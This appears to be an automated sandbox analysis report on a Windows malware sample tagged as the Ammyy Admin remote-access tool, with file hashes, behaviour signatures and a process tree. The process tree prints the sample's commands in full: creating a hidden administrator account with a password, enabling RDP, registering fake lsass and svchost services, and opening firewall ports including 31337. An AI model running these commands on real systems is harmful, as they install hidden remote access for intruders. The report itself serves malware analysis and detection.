Analysis

  • max time kernel
    125s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-09-2024 23:26

General

  • Target

    ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe

  • Size

    1.2MB

  • MD5

    ce24e3f6a77491b84dab3c0a6b0203a1

  • SHA1

    070cc99e68a501a6a37ba6155ef2623015dd8967

  • SHA256

    48a16449873f16df73c4468805415769a863062802fdcb30568bf5bb2170bf17

  • SHA512

    7ac4c6496a7d4e522df0664a285bf32303a83f342cebda50cb75ddc23d8d3ac8cd75a5f74aa5ca95920e62cc1a9fd6f8ace385461564dd2c3eb5640956a9d1fd

  • SSDEEP

    24576:7JLMxzpMJbMfUJqhQLklSRvfd8lgDy+BaxZEyr+tE0:2zmJbQU+QwSNlvy+BEnr+tP

Malware Config

Signatures

  • Ammyy Admin

    Remote admin tool with various capabilities.

  • AmmyyAdmin payload 1 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Creates new service(s) 2 TTPs
  • Modifies Windows Firewall 2 TTPs 7 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:4656
    • C:\Windows\SysWOW64\sc.exe
      sc start mnmsrvc
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3676
    • C:\Windows\SysWOW64\sc.exe
      sc Start TlntSvr
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5028
    • C:\Windows\SysWOW64\sc.exe
      sc Start TermService
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4196
    • C:\Windows\SysWOW64\net.exe
      net start FastUserSwitchingCompatibility
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start FastUserSwitchingCompatibility
        3⤵
        • System Location Discovery: System Language Discovery
        PID:552
    • C:\Windows\SysWOW64\net.exe
      net start TermService
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4524
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start TermService
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3404
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:640
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1056
    • C:\Windows\SysWOW64\net.exe
      net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2996
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2912
    • C:\Windows\SysWOW64\net.exe
      net localgroup Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4116
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2272
    • C:\Windows\SysWOW64\net.exe
      net localgroup Àäìèíèñòðàòîðû Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2496
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1440
    • C:\Windows\SysWOW64\net.exe
      net localgroup Administrators Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2908
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Administrators Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3264
    • C:\Windows\SysWOW64\net.exe
      net accounts /maxpwage:unlimited
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3284
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 accounts /maxpwage:unlimited
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2104
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
      2⤵
      • Hide Artifacts: Hidden Users
      • System Location Discovery: System Language Discovery
      PID:2324
    • C:\Windows\SysWOW64\sc.exe
      sc stop "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3052
    • C:\Windows\SysWOW64\sc.exe
      sc delete "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4924
    • C:\Windows\SysWOW64\sc.exe
      sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3392
    • C:\Windows\SysWOW64\sc.exe
      sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4868
    • C:\Windows\SysWOW64\sc.exe
      sc stop "PlugAndPlay"
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3024
    • C:\Windows\SysWOW64\sc.exe
      sc delete "PlugAndPlay"
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1424
    • C:\Windows\SysWOW64\sc.exe
      sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3404
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f
      2⤵
      • Sets service image path in registry
      • System Location Discovery: System Language Discovery
      PID:1856
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3548
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1264
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1176
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:2912
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram ctfmon.exe ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1272
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 3389 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:4112
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 31337 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1416
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 80 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:3076
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 8080 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:2100
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4164,i,1330210614411927383,9239043499051775691,262144 --variations-seed-version --mojo-platform-channel-handle=1320 /prefetch:8
    1⤵
      PID:1808

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

      Filesize

      81KB

      MD5

      6e0966f100cb1f523179c0adba52d45a

      SHA1

      d3d27da135e1388bc6619bc3f81a3324d2e9d645

      SHA256

      71059380b8346728a26de74e7a721e63bd9f18e81f1eec76adeabd998fb13e3b

      SHA512

      3dbebfd08ab3df57fefe193cd98f6ab8aeeff3406d70cc56604d8d0144de2c2b18a56f99281c93d21849badd0d76cbb943d09ce6573271af94fefb4323fbeefd

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe

      Filesize

      587KB

      MD5

      5ccc02fe24848a903a6978366c51a7d1

      SHA1

      056be620e7bfec514d9a377820c0b716052a305f

      SHA256

      4beea8eb43740d7157fe4dd34126b07864ba0d44563008cb32a21b84e4452064

      SHA512

      c36c7d6b15c7a3277efe2f4f56a8f7147646c4a060d06ee8c465473f61b1cc513c41cbdd3ee2a2c26c3c499dd6b960c31a742fa7dda1467fd25cabe8aefc7f71

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

      Filesize

      44KB

      MD5

      c104fc64f8ed6950ce08a5d653e9e4d7

      SHA1

      e1186adecb3c647cbec0705df4a8aa80281790c9

      SHA256

      8ded98254676bb6a64435119df030d84e8186b75051b8a1e7928aa52c8bb3937

      SHA512

      2b6a7f44b34af744108769658391ff46e885f09f974c32f9a5b0b559bf9e93b1185acb8fe6841c74848e4e06ff9ee31aaca6a648d43f39ae16dcaa96d576335c

    • memory/1448-0-0x0000000000400000-0x0000000000548000-memory.dmp

      Filesize

      1.3MB

    • memory/1448-21-0x0000000000400000-0x0000000000548000-memory.dmp

      Filesize

      1.3MB

    • memory/1448-24-0x0000000000400000-0x0000000000548000-memory.dmp

      Filesize

      1.3MB